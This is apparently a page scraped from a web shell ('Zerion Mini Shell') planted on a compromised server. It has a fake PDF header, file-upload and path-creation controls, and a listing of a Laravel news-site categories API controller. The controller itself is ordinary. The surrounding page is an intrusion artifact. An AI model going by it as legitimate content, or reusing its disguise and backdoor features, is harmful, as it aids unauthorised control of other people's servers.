%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/news/app/Http/Controllers/Api/
Upload File :
Create Path :
Current File : /var/www/html/news/app/Http/Controllers/Api/CategoriesController.php

<?php

namespace App\Http\Controllers\Api;

use App\Http\Controllers\ApiController;
use App\Http\Requests\Category\CategoryStoreRequest;
use App\Http\Requests\Category\CategoryUpdateRequest;
use App\Http\Requests\Media\UploadImageRequest;
use App\Repositories\Category\CategoriesRepository;
use App\Repositories\Media\MediaRepository;
use App\Transformers\CategoryTransformer;
use App\Transformers\MediaTransformer;
use EllipseSynergie\ApiResponse\Contracts\Response;
use Exception;

class CategoriesController extends ApiController
{
    /**
     * @var CategoriesRepository
     */
    private $categoriesRepository;
    /**
     * @var MediaRepository
     */
    private $mediaRepository;

    /**
     * UsersController constructor.
     * @param Response $response
     * @param CategoriesRepository $categoriesRepository
     * @param MediaRepository $mediaRepository
     */
    public function __construct(Response $response, CategoriesRepository $categoriesRepository, MediaRepository $mediaRepository)
    {
        parent::__construct($response);
        $this->transformer = new CategoryTransformer;
        $this->categoriesRepository = $categoriesRepository;
        $this->mediaRepository = $mediaRepository;
    }

    /**
     * Display a listing of the resource.
     *
     * @return \Illuminate\Http\Response
     */
    public function index()
    {
        return $this->response->withPaginator($this->categoriesRepository->paginate(), $this->transformer);
    }

    /**
     * Store a newly created resource in storage.
     *
     * @param CategoryStoreRequest $request
     * @return \Illuminate\Http\Response
     */
    public function store(CategoryStoreRequest $request)
    {
        $category = $this->categoriesRepository->create($request->all());
        return $this->response->withItem($category, $this->transformer);
    }

    /**
     * Display the specified resource.
     *
     * @param  int $id
     * @return \Illuminate\Http\Response
     */
    public function show($id)
    {
        return $this->response->withItem($this->categoriesRepository->findOrFail($id), $this->transformer);
    }

    /**
     * Update the specified resource in storage.
     *
     * @param CategoryUpdateRequest $request
     * @param  int $id
     * @return \Illuminate\Http\Response
     */
    public function update(CategoryUpdateRequest $request, $id)
    {
        $category = $this->categoriesRepository->findOrFail($id);
        $category->update($request->all());
        return $this->response->withItem($category, $this->transformer);
    }

    /**
     * Remove the specified resource from storage.
     *
     * @param  int $id
     * @return \Illuminate\Http\Response
     */
    public function destroy($id)
    {
        $category = $this->categoriesRepository->findOrFail($id);
        $result = $this->categoriesRepository->delete($category->id);
        if (!$result) {
            return $this->response->errorInternalError('Unexpected error occurred');
        }
        return response([], 204);
    }

    /**
     * @param UploadImageRequest $request
     * @param $category
     * @return mixed
     */
    public function uploadPicture(UploadImageRequest $request, $category)
    {
        try {
            $category = $this->categoriesRepository->findOrFail($category);
            $directory = public_path() . '/uploads/categories/';
            $file_name = $this->mediaRepository->createImage($directory, $request->get('source'));
            if (!$file_name) {
                return $this->response->errorWrongArgs('Media source not readable');
            }
            $media = $this->categoriesRepository->changeImage($category, $file_name, $request->get('file_name'));
            return $this->response->withItem($media, new MediaTransformer);
        } catch (Exception $e) {
            return $this->response->errorInternalError($e->getMessage());
        }

    }

}

Zerion Mini Shell 1.0